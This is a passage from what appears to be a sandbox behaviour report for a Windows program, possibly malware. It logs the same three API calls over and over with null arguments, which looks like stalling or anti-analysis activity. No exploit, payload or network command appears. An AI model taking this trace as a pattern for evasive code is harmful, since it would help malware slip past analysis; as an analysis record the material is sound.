(lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.384] AddAtomA (lpString=0x0) returned 0x0 [0050.384] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.384] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.385] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.385] AddAtomA (lpString=0x0) returned 0x0 [0050.385] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.386] AddAtomA (lpString=0x0) returned 0x0 [0050.386] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.386] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.387] AddAtomA (lpString=0x0) returned 0x0 [0050.387] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.387] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.424] AddAtomA (lpString=0x0) returned 0x0 [0050.424] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.424] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.425] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.425] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.425] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.426] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.426] AddAtomA (lpString=0x0) returned 0x0 [0050.426] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.427] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.427] AddAtomA (lpString=0x0) returned 0x0 [0050.427] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.428] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.428] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.428] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.429] AddAtomA (lpString=0x0) returned 0x0 [0050.429] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.429] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.430] AddAtomA (lpString=0x0) returned 0x0 [0050.430] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.430] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.431] AddAtomA (lpString=0x0) returned 0x0 [0050.431] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.431] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 